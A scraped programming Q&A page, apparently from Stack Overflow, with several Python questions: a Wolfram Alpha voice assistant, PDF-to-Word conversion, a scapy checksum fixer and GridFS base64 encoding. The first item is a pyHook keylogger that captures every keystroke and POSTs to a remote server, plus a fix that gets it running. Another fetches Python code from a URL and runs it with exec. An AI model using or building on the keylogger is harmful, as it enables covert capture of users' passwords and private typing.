Python keylogger: an integer is required - python-2.7

I am trying to make a keylogger that sends text to a webserver. Using pyHook, and httplib2, I was able to successfully make them work separately. However, when I try to combine the two, I get the error:
An integer is required
I honestly have no idea why this is caused. Both functions work by theirselves, so why can't I combine them? Any suggestions?
Thanks!
import pyHook
import pythoncom
import time
from httplib2 import Http
from urllib import urlencode
h = Http()
log_file = "control.txt"
message = ""
f = open(log_file,"a")
def pressed_chars(event):
if event.Ascii:
global message
char = chr(event.Ascii)
if char == "q":
f.close()
exit()
if event.Ascii == 13:
f.write("\n")
data = dict(cmd="openurl")
testVar = h.request("http://www.**********/submit.php", "POST", urlencode(data))
message = ""
f.write(char)
message = message+char
print(message)
proc = pyHook.HookManager()
proc.KeyDown = pressed_chars
proc.HookKeyboard()
pythoncom.PumpMessages()

It seems you are not returning True in pressed_chars . Try adding the line return True and see if it works!

Related

Wolframalpha in python with GTTS

I am trying to make a Friday like virtual assistant using this code
import os
from gtts import gTTS
import time
import playsound
import speech_recognition as sr
while True:
def speak(text):
tts = gTTS(text=text, lang="en")
filename = "voice.mp3"
tts.save(filename)
playsound.playsound(filename)
def get_audio():
r = sr.Recognizer()
with sr.Microphone() as source:
audio = r.listen(source)
said = ""
try:
said = r.recognize_google(audio)
print(said)
except Exception as e:
print("Exception: " + str(e))
return said
text = get_audio()
if "who are you" in text:
speak(" I am Monday the virtual assistant")
And i was wondering how to put wolfram alpha in it so i would, say search for ..., then it would speak the answer from wolfram alpha.
Any help would be amazing :)
Install wolframalpha
Then add the following to your code:
import wolframalpha
if 'search for ' in text:
text = text.replace("search for ", "")
client = wolframalpha.Client(app_id)
res = client.query(text)
print(next(res.results).text)
speak(next(res.results).text)
To use the API, you have to go to the homepage, sign up for an account, create an app and get an app id.
To avoid getting any errors, keep the indentation in your 'speak' function uniform.

Importing *.py from url

I want to import some python functions from url for security purposes.
I got a solution from here:
How can a Python module be imported from a URL?
It kind of works; I can run first function (func1) fine, but when I try to run second function (func2) then python says func2 is not defined, why is that so ?
module.py on webserver:
def func1(string):
data = string+"world"
return data
def func2(string):
data = string+"bar"
return data
main.py on my pc:
import urllib
def import_py_from_url(URL):
exec urllib.urlopen(URL).read() in globals()
import_py_from_url("http://somehost.com/module.py")
#try first function
str = "hello "
data = func1(str)
print (data) # OUTPUT: hello world
#try seccond function
str = "foo "
data = func2(str)
print (data) # OUTPUT: NameError: name 'func2' is not defined
Is it even possible to do what i am trying to achive ? Not much info about it around.

PDF to Word Doc in Python

I've read though the other stack overflow questions regarding this but it doesn't answer my issue, so down vote away. Its version 2.7.
All I want to do is use python to convert a PDF to a Word doc. At minimum convert to text so I can copy and paste into a word doc.
This is the code I have so far. All it prints is the female gender symbol.
Is my code wrong? Am I approaching this wrong? Do some PDFs just not work with PDFMiner? Do you know of any other alternatives to accomplish my goal of converting a PDF to Word, besides using PyPDF2 or PDFMiner?
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
from cStringIO import StringIO
def convert_pdf_to_txt(path):
rsrcmgr = PDFResourceManager()
retstr = StringIO()
codec = 'utf-8'
laparams = LAParams()
device = TextConverter(rsrcmgr, retstr, codec=codec, laparams=laparams)
fp = file('Bottom Dec.pdf', 'rb')
interpreter = PDFPageInterpreter(rsrcmgr, device)
password = ""
maxpages = 0
caching = True
pagenos=set()
for page in PDFPage.get_pages(fp, pagenos, maxpages=maxpages, password=password,caching=caching, check_extractable=True):
interpreter.process_page(page)
text = retstr.getvalue()
fp.close()
device.close()
retstr.close()
return text
print convert_pdf_to_txt(1)
from pdf2docx import Converter
pdf_file = 'E:\Muhammad UMER LAR.pdf'
doc_file= 'E:\Lari.docx'
c=Converter(pdf_file)
c.convert(doc_file)
c.close()
Another alternative solution is Aspose.Words Cloud SDK for Python, you can install it from pip for PDF to DOC conversion.
import asposewordscloud
import asposewordscloud.models.requests
api_client = asposewordscloud.ApiClient()
api_client.configuration.host = 'https://api.aspose.cloud'
# Get AppKey and AppSID from https://dashboard.aspose.cloud/
api_client.configuration.api_key['api_key'] = 'xxxxxxxxxxxxxxxxxxxxx' # Put your appKey here
api_client.configuration.api_key['app_sid'] = 'xxxxxxxxx-xxxx-xxxxx-xxxx-xxxxxxxxxx' # Put your appSid here
words_api = asposewordscloud.WordsApi(api_client)
filename = '02_pages.pdf'
remote_name = 'TestPostDocumentSaveAs.pdf'
dest_name = 'TestPostDocumentSaveAs.doc'
#upload PDF file to storage
request_stoarge = asposewordscloud.models.requests.UploadFileRequest(filename,remote_name)
response = words_api.upload_file(request_stoarge)
#Convert PDF to DOC and save to storage
save_options = asposewordscloud.SaveOptionsData(save_format='doc', file_name=dest_name)
request = asposewordscloud.models.requests.SaveAsRequest(remote_name, save_options)
result = words_api.save_as(request)
print("Result {}".format(result))
I'm developer evangelist at Aspose.

Fix pcap checksum using Python Scapy

I've written one small python script to fix the checksum of L3-4 protocols using scapy. When I'm running the script it is not taking command line argument or may be some other reason it is not generating the fix checksum pcap. I've verified the rdpcap() from scapy command line it is working file using script it is not getting executed. My program is
import sys
import logging
logging.getLogger("scapy").setLevel(1)
try:
from scapy.all import *
except ImportError:
import scapy
if len(sys.argv) != 3:
print "Usage:./ChecksumFixer <input_pcap_file> <output_pcap_file>"
print "Example: ./ChecksumFixer input.pcap output.pcap"
sys.exit(1)
#------------------------Command Line Argument---------------------------------------
input_file = sys.argv[1]
output_file = sys.argv[2]
#------------------------Get The layer and Fix Checksum-------------------------------
def getLayer(p):
for paktype in (scapy.IP, scapy.TCP, scapy.UDP, scapy.ICMP):
try:
p.getlayer(paktype).chksum = None
except: AttributeError
pass
return p
#-----------------------FixPcap in input file and write to output fi`enter code here`le----------------
def fixpcap():
paks = scapy.rdpcap(input_file)
fc = map(getLayer, paks)
scapy.wrpcap(output_file, fc)
The reason your function is not executed is that you're not invoking it. Adding a call to fixpcap() at the end of your script shall fix this issue.
Furthermore, here are a few more corrections & suggestions:
The statement following except Exception: should be indented as well, as follows:
try:
from scapy.all import *
except ImportError:
import scapy
Use argparse to parse command-line arguments.
Wrap your main code in a if __name__ == '__main__': block.

What data 'structure' does fs.get_last_version return?

When I use get_last_version to get an image from the database, what is actually returned ie an array, the merged binary data of all the chunks that make up the file (as a string), or something else?
dbname = 'grid_files'
db = connection[dbname]
fs = gridfs.GridFS(db)
filename = "my_image.jpg"
my_image_file = fs.get_last_version(filename=filename)
I'm wanting to base64 encode my_image_file with:
import base64
encoded_img_file = base64.b64encode(my_image_file)
return encoded_img_file
But I'm getting a 500 error.
I haven't been able to glean what is actually returned when using get_last_version from the docs:
http://api.mongodb.org/python/current/api/gridfs/#gridfs.GridFS.get_last_version
More Research:
I followed the logic from this post:
http://blog.pythonisito.com/2012/05/gridfs-mongodb-filesystem.html
And in shell running Python on server could see that Binary() was returned - so should I be able to base64 encode this as demonstrated above?:
>>> import pymongo
>>> import gridfs
>>> import os
>>> hostname = os.environ['OPENSHIFT_MONGODB_DB_URL']
>>> conn = pymongo.MongoClient(host=hostname)
>>> db = conn.grid_files
>>> fs = gridfs.GridFS(db)
>>> list(db.fs.chunks.find())
[{u'files_id': ObjectId('52db4d9e70914413718f2ec4'), u'_id': ObjectId('52db4d9e7
0914413718f2ec5'), u'data': Binary('lots of binary code', 0), u'n': 0}]
Unless there is a better answer, this is what I've come up with.
get_last_version returns a Binary() object.
In regards to base64 encoding it, and returning it, this is how I did it:
dbname = 'grid_files'
db = connection[dbname]
fs = gridfs.GridFS(db)
filename = "my_image.jpg"
my_image_file = fs.get_last_version(filename=filename)
encoded_img_file = base64.b64encode(my_image_file.read())
return encoded_img_file
Then accessed it on the front end with:
$("#my_img").attr("src", "data:image/png;base64," + data);